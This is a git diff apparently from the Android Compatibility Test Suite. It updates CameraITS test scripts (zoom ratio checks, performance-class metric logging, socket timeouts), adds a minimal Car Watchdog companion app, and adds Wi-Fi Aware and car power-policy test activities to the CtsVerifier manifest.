       colour = img_bw[shape['cty']][shape['ctx']]
       circlish = round((math.pi * radius**2) / area, 4)
-      if colour == color and (1 - CIRCLE_TOL <= circlish <= 1 + CIRCLE_TOL):
+      if (colour == color and
+          (1 - CIRCLISH_RTOL <= circlish <= 1 + CIRCLISH_RTOL) and
+          math.isclose(shape['width'], shape['height'],
+                       rel_tol=CIRCLE_AR_RTOL)):
         circles.append([shape['ctx'], shape['cty'], radius, circlish, area])
 
   if not circles:
@@ -237,7 +240,6 @@
       logging.debug('test TOLs: %s', str(test_tols))
 
       # do captures over zoom range and find circles with cv2
-      logging.debug('cv2_version: %s', cv2.__version__)
       cam.do_3a()
       req = capture_request_utils.auto_capture_request()
       for i, z in enumerate(z_list):
@@ -272,10 +274,12 @@
 
     # assert some range is tested before circles get too big
     zoom_max_thresh = ZOOM_MAX_THRESH
-    if z_max < ZOOM_MAX_THRESH:
-      zoom_max_thresh = z_max
-    test_data_max_z = test_data[max(test_data.keys())]['z']
-    logging.debug('zoom data max: %.2f', test_data_max_z)
+    z_max_ratio = z_max / z_min
+    if z_max_ratio < ZOOM_MAX_THRESH:
+      zoom_max_thresh = z_max_ratio
+    test_data_max_z = (test_data[max(test_data.keys())]['z'] /
+                       test_data[min(test_data.keys())]['z'])
+    logging.debug('test zoom ratio max: %.2f', test_data_max_z)
     if test_data_max_z < zoom_max_thresh:
       raise AssertionError(f'Max zoom ratio tested: {test_data_max_z:.4f}, '
                            f'range advertised min: {z_min}, max: {z_max} '
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index d5d3b06..8e1c6f4 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -16,6 +16,7 @@
 import logging
 import os
 import os.path
+import re
 import subprocess
 import sys
 import tempfile
@@ -41,6 +42,7 @@
 RESULT_FAIL = 'FAIL'
 RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
 RESULT_KEY = 'result'
+METRICS_KEY = 'mpc_metrics'
 SUMMARY_KEY = 'summary'
 RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
 ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
@@ -452,6 +454,7 @@
     for s in per_camera_scenes:
       test_params_content['scene'] = s
       results[s]['TEST_STATUS'] = []
+      results[s][METRICS_KEY] = []
 
       # unit is millisecond for execution time record in CtsVerifier
       scene_start_time = int(round(time.time() * 1000))
@@ -527,14 +530,28 @@
             test_failed = False
             test_skipped = False
             test_not_yet_mandated = False
-            line = file.read()
-            if 'Test skipped' in line:
+            test_mpc_req = ""
+            content = file.read()
+
+            # Find media performance class logging
+            lines = content.splitlines()
+            for one_line in lines:
+              # regular expression pattern must match
+              # MPC12_CAMERA_LAUNCH_PATTERN or MPC12_JPEG_CAPTURE_PATTERN in
+              # ItsTestActivity.java.
+              mpc_string_match = re.search(
+                  '^(1080p_jpeg_capture_time_ms:|camera_launch_time_ms:)', one_line)
+              if mpc_string_match:
+                test_mpc_req = one_line
+                break
+
+            if 'Test skipped' in content:
               return_string = 'SKIP '
               num_skip += 1
               test_skipped = True
               break
 
-            if 'Not yet mandated test' in line:
+            if 'Not yet mandated test' in content:
               return_string = 'FAIL*'
               num_not_mandated_fail += 1
               test_not_yet_mandated = True
@@ -547,7 +564,7 @@
 
             if test_code == 1 and not test_not_yet_mandated:
               return_string = 'FAIL '
-              if 'Problem with socket' in line and num_try != NUM_TRIES-1:
+              if 'Problem with socket' in content and num_try != NUM_TRIES-1:
                 logging.info('Retry %s/%s', s, test)
               else:
                 num_fail += 1
@@ -557,6 +574,8 @@
         logging.info('%s %s/%s', return_string, s, test)
         test_name = test.split('/')[-1].split('.')[0]
         results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()})
+        if test_mpc_req:
+          results[s][METRICS_KEY].append(test_mpc_req)
         msg_short = '%s %s' % (return_string, test)
         scene_test_summary += msg_short + '\n'
 
@@ -604,8 +623,9 @@
   logging.info('Test execution completed.')
 
   # Power down tablet
-  cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
-  subprocess.Popen(cmd.split())
+  if tablet_id:
+    cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
+    subprocess.Popen(cmd.split())
 
 if __name__ == '__main__':
   main()
diff --git a/apps/CameraITS/utils/camera_properties_utils.py b/apps/CameraITS/utils/camera_properties_utils.py
index dcdf731..91e2c58 100644
--- a/apps/CameraITS/utils/camera_properties_utils.py
+++ b/apps/CameraITS/utils/camera_properties_utils.py
@@ -834,8 +834,9 @@
     Boolean. True if android.tonemap.availableToneMapModes has
              CONTRAST_CURVE (0) or GAMMA_VALUE (3).
   """
-  return (0 in props.get('android.tonemap.availableToneMapModes') or
-          3 in props.get('android.tonemap.availableToneMapModes'))
+  return ('android.tonemap.availableToneMapModes' in props and
+         (0 in props.get('android.tonemap.availableToneMapModes') or
+          3 in props.get('android.tonemap.availableToneMapModes')))
 
 
 if __name__ == '__main__':
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index 23432f1..a364b53 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -49,7 +49,8 @@
 def convert_capture_to_rgb_image(cap,
                                  ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
                                  yuv_off=DEFAULT_YUV_OFFSETS,
-                                 props=None):
+                                 props=None,
+                                 apply_ccm_raw_to_rgb=True):
   """Convert a captured image object to a RGB image.
 
   Args:
@@ -58,6 +59,7 @@
      yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
      props: (Optional) camera properties object (of static values);
             required for processing raw images.
+     apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
 
   Returns:
         RGB float-3 image array, with pixel values in [0.0, 1.0].
@@ -82,7 +84,8 @@
   elif cap['format'] == 'raw' or cap['format'] == 'rawStats':
     assert props is not None
     r, gr, gb, b = convert_capture_to_planes(cap, props)
-    return convert_raw_to_rgb_image(r, gr, gb, b, props, cap['metadata'])
+    return convert_raw_to_rgb_image(
+        r, gr, gb, b, props, cap['metadata'], apply_ccm_raw_to_rgb)
   elif cap['format'] == 'y8':
     y = cap['data'][0: w * h]
     return convert_y8_to_rgb_image(y, w, h)
@@ -381,7 +384,7 @@
 
 
 def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
-                             cap_res):
+                             cap_res, apply_ccm_raw_to_rgb=True):
   """Convert a Bayer raw-16 image to an RGB image.
 
   Includes some extremely rudimentary demosaicking and color processing
@@ -396,9 +399,10 @@
             in the Bayer image, with pixels in the [0.0, 1.0] range.
    props: Camera properties object.
    cap_res: Capture result (metadata) object.
+   apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
 
   Returns:
-    RGB float-3 image array, with pixel values in [0.0, 1.0]
+   RGB float-3 image array, with pixel values in [0.0, 1.0]
   """
     # Values required for the RAW to RGB conversion.
   assert props is not None
@@ -429,7 +433,9 @@
   h, w = r_plane.shape[:2]
   img = numpy.dstack([r_plane, (gr_plane + gb_plane) / 2.0, b_plane])
   img = (((img.reshape(h, w, 3) - black_levels) * scale) * gains).clip(0.0, 1.0)
-  img = numpy.dot(img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
+  if apply_ccm_raw_to_rgb:
+    img = numpy.dot(
+        img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
   return img
 
 
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 3289b91..cac2291 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -82,6 +82,9 @@
 
   # Seconds timeout on each socket operation.
   SOCK_TIMEOUT = 20.0
+  # Seconds timeout on performance measurement socket operation
+  SOCK_TIMEOUT_FOR_PERF_MEASURE = 40.0
+
   # Additional timeout in seconds when ITS service is doing more complicated
   # operations, for example: issuing warmup requests before actual capture.
   EXTRA_SOCK_TIMEOUT = 5.0
@@ -1093,24 +1096,39 @@
                                       ' support')
     return data['strValue'] == 'true'
 
-  def get_performance_class_level(self):
-    """Query whether the camera device is an R or S performance class primary camera.
+  def is_primary_camera(self):
+    """Query whether the camera device is a primary rear/front camera.
 
     A primary rear/front facing camera is a camera device with the lowest
     camera Id for that facing.
 
     Returns:
-      Performance class level in integer. R: 11. S: 12.
+      Boolean
     """
     cmd = {}
-    cmd['cmdName'] = 'getPerformanceClassLevel'
+    cmd['cmdName'] = 'isPrimaryCamera'
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
     data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'performanceClassLevel':
-      raise error_util.CameraItsError('Failed to query performance class level')
-    return int(data['strValue'])
+    if data['tag'] != 'primaryCamera':
+      raise error_util.CameraItsError('Failed to query primary camera')
+    return data['strValue'] == 'true'
+
+  def is_performance_class(self):
+    """Query whether the mobile device is an R or S performance class device.
+
+    Returns:
+      Boolean
+    """
+    cmd = {}
+    cmd['cmdName'] = 'isPerformanceClass'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'performanceClass':
+      raise error_util.CameraItsError('Failed to query performance class')
+    return data['strValue'] == 'true'
 
   def measure_camera_launch_ms(self):
     """Measure camera launch latency in millisecond, from open to first frame.
@@ -1123,7 +1141,11 @@
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
+    timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+    self.sock.settimeout(timeout)
     data, _ = self.__read_response_from_socket()
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
     if data['tag'] != 'cameraLaunchMs':
       raise error_util.CameraItsError('Failed to measure camera launch latency')
     return float(data['strValue'])
@@ -1139,7 +1161,11 @@
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
+    timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+    self.sock.settimeout(timeout)
     data, _ = self.__read_response_from_socket()
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
     if data['tag'] != 'camera1080pJpegCaptureMs':
       raise error_util.CameraItsError(
           'Failed to measure camera 1080p jpeg capture latency')
diff --git a/apps/CameraITS/utils/opencv_processing_utils.py b/apps/CameraITS/utils/opencv_processing_utils.py
index 6cc692b..8c6a3f7 100644
--- a/apps/CameraITS/utils/opencv_processing_utils.py
+++ b/apps/CameraITS/utils/opencv_processing_utils.py
@@ -23,7 +23,6 @@
 
 
 import cv2
-import camera_properties_utils
 import capture_request_utils
 import image_processing_utils
 
@@ -72,6 +71,7 @@
 
 def find_all_contours(img):
   cv2_version = cv2.__version__
+  logging.debug('cv2_version: %s', cv2_version)
   if cv2_version.startswith('3.'):  # OpenCV 3.x
     _, contours, _ = cv2.findContours(img, cv2.RETR_TREE,
                                       cv2.CHAIN_APPROX_SIMPLE)
@@ -169,11 +169,7 @@
     self.xnorm, self.ynorm, self.wnorm, self.hnorm, self.scale = (
         image_processing_utils.chart_located_per_argv(chart_loc))
     if not self.xnorm:
-      if camera_properties_utils.read_3a(props):
-        self.locate(cam, props, log_path)
-      else:
-        logging.debug('Chart locator skipped.')
-        self._set_scale_factors_to_one()
+      self.locate(cam, props, log_path)
 
   def _set_scale_factors_to_one(self):
     """Set scale factors to 1.0 for skipped tests."""
@@ -183,18 +179,13 @@
     self.ynorm = 0.0
     self.scale = 1.0
 
-  def _calc_scale_factors(self, cam, props, fmt, s, e, fd, log_path):
+  def _calc_scale_factors(self, cam, props, fmt, log_path):
     """Take an image with s, e, & fd to find the chart location.
 
     Args:
      cam: An open its session.
      props: Properties of cam
      fmt: Image format for the capture
-     s: Sensitivity for the AF request as defined in
-                            android.sensor.sensitivity
-     e: Exposure time for the AF request as defined in
-                            android.sensor.exposureTime
-     fd: float; autofocus lens position
      log_path: log path to save the captured images.
 
     Returns:
@@ -202,8 +193,7 @@
       img_3a: numpy array; RGB image for chart location
       scale_factor: float; scaling factor for chart search
     """
-    req = capture_request_utils.manual_capture_request(s, e)
-    req['android.lens.focusDistance'] = fd
+    req = capture_request_utils.auto_capture_request()
     cap_chart = image_processing_utils.stationary_lens_cap(cam, req, fmt)
     img_3a = image_processing_utils.convert_capture_to_rgb_image(
         cap_chart, props)
@@ -239,15 +229,9 @@
     hnorm: float; [0, 1] height of chart in scene
     scale: float; scale factor to extract chart
     """
-    if camera_properties_utils.read_3a(props):
-      s, e, _, _, fd = cam.do_3a(get_results=True)
-      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
-      chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt, s, e,
-                                                        fd, log_path)
-    else:
-      logging.debug('Chart locator skipped.')
-      self._set_scale_factors_to_one()
-      return
+    fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+    cam.do_3a()
+    chart, scene, s_factor = self._calc_scale_factors(cam, props, fmt, log_path)
     scale_start = self._scale_start * s_factor
     scale_stop = self._scale_stop * s_factor
     scale_step = self._scale_step * s_factor
diff --git a/apps/CameraITS/utils/sensor_fusion_utils.py b/apps/CameraITS/utils/sensor_fusion_utils.py
index 6ce53b1..59f5a60 100644
--- a/apps/CameraITS/utils/sensor_fusion_utils.py
+++ b/apps/CameraITS/utils/sensor_fusion_utils.py
@@ -234,12 +234,15 @@
   elif rotate_cntl.lower() == 'canakit':
     canakit_serial_port = serial_port_def('Canakit')
 
+  else:
+    logging.info('No rotation rig defined. Manual test: rotate phone by hand.')
+
   # rotate phone
   logging.debug('Rotating phone %dx', num_rotations)
   for _ in range(num_rotations):
     if rotate_cntl == 'arduino':
       arduino_rotate_servo(rotate_ch, arduino_serial_port)
-    else:
+    elif rotate_cntl == 'canakit':
       canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'ON')
       canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'OFF')
   logging.debug('Finished rotations')
diff --git a/hostsidetests/trustedvoice/app/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
similarity index 81%
rename from hostsidetests/trustedvoice/app/Android.bp
rename to apps/CarWatchdogCompanionApp/Android.bp
index b8c7922..a87902a 100644
--- a/hostsidetests/trustedvoice/app/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2016 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -11,19 +12,19 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CtsTrustedVoiceApp",
-    defaults: ["cts_support_defaults"],
+    name: "CtsCarWatchdogCompanionApp",
+    defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
-    // Tag this module as a cts test artifact
+    sdk_version: "current",
     test_suites: [
         "cts",
         "general-tests",
     ],
-    sdk_version: "current",
 }
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.car.watchdog_companionapp">
+
+    <application android:label="CtsCarWatchdogCompanionApp">
+        <activity android:name=".CarWatchdogCompanionActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="distractionOptimized" android:value="true"/>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:textSize="20sp"
+    android:gravity="center"
+    android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="car_watchdog_companion_activity_text">
+        Welcome to the CTS Verifier Car Watchdog Companion App!
+    </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.car_watchdog_companion_activity);
+    }
+}
diff --git a/apps/CrossProfileTestApp/OWNERS b/apps/CrossProfileTestApp/OWNERS
index e889bfe..c3feb80 100644
--- a/apps/CrossProfileTestApp/OWNERS
+++ b/apps/CrossProfileTestApp/OWNERS
@@ -1,6 +1,2 @@
 # Bug component: 149743808
-sandness@google.com
-arangelov@google.com
-alexkershaw@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index fb18007..754d968 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -112,13 +112,8 @@
 #	$(hide) mkdir -p $(verifier-dir)/power
 #	$(hide) $(ACP) -fp cts/apps/CtsVerifier/assets/scripts/execute_power_tests.py $@
 
-$(verifier-dir)/NOTICE.txt: cts/apps/CtsVerifier/NOTICE.txt | $(ACP)
-	$(hide) $(ACP) -fp cts/apps/CtsVerifier/NOTICE.txt $@
-
 cts : $(verifier-zip)
-CtsVerifier : $(verifier-zip)
 $(verifier-zip) : $(HOST_OUT)/CameraITS/build_stamp
-$(verifier-zip) : $(verifier-dir)/NOTICE.txt
 $(verifier-zip) : $(foreach app,$(apps-to-include),$(call apk-location-for,$(app)))
 $(verifier-zip) : $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk | $(ACP)
 		$(hide) mkdir -p $(verifier-dir)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index fcf4b89..2ad8d4c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,12 +18,12 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="com.android.cts.verifier"
           android:versionCode="5"
-          android:versionName="12_r1">
+          android:versionName="12.1_r1">
 
     <uses-sdk android:minSdkVersion="19" android:targetSdkVersion="31"/>
 
-    <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
     <uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
+    <uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_LOCATION_EXTRA_COMMANDS"/>
@@ -135,6 +135,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.device_admin" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.watch" />
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
         </activity>
@@ -2629,8 +2631,7 @@
 
         <activity android:name=".camera.formats.CameraFormatsActivity"
                  android:label="@string/camera_format"
-                 android:exported="true"
-                 android:screenOrientation="landscape">
+                 android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -2683,7 +2684,6 @@
         <activity
             android:name=".camera.fov.PhotoCaptureActivity"
             android:label="@string/camera_fov_calibration"
-            android:screenOrientation="landscape"
             android:exported="true"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
             <intent-filter android:label="@string/camera_fov_calibration" >
@@ -2700,7 +2700,6 @@
         <activity
             android:name=".camera.fov.DetermineFovActivity"
             android:label="@string/camera_fov_calibration"
-            android:screenOrientation="landscape"
             android:theme="@android:style/Theme.Holo.NoActionBar.Fullscreen" >
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
@@ -2719,8 +2718,7 @@
 
         <activity android:name=".camera.video.CameraVideoActivity"
                  android:label="@string/camera_video"
-                 android:exported="true"
-                 android:screenOrientation="landscape">
+                 android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
@@ -2952,6 +2950,8 @@
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
+            <meta-data android:name="test_excluded_features"
+                       android:value="android.hardware.type.automotive" />
             <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
@@ -3469,6 +3469,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3483,6 +3490,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3497,6 +3511,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_passive_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3511,6 +3532,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathOpenActiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_open_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3525,6 +3553,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_passphrase_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3539,6 +3574,13 @@
                        android:value="single_display_mode" />
         </activity>
 
+        <activity android:name=".wifiaware.DataPathPmkActiveSubscribeAcceptAnyTestActivity"
+                  android:label="@string/aware_data_path_pmk_active_subscribe"
+                  android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="single_display_mode" />
+        </activity>
+
         <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
                   android:label="@string/aware_data_path_oob_open_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -3975,6 +4017,8 @@
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <category android:name="android.cts.intent.category.MANUAL_TEST" />
             </intent-filter>
@@ -4886,7 +4930,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.hardware.type.television" />
+                       android:value="android.hardware.type.watch:android.hardware.type.television:android.hardware.type.automotive" />
             <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
@@ -5111,6 +5155,20 @@
                 android:value="android.hardware.type.automotive"/>
         </activity>
 
+        <activity android:name=".car.PowerPolicyTestActivity"
+                  android:exported="true"
+                android:label="@string/car_power_policy_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <activity-alias android:name=".car.CarDockActivity2"
             android:targetActivity=".car.CarDockActivity"
                 android:exported="true"
@@ -5140,9 +5198,9 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".car.NightModeTestActivity"
+        <activity android:name=".car.ParkingBrakeOnTestActivity"
                 android:exported="true"
-                android:label="@string/night_mode_test">
+                android:label="@string/parking_brake_on_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
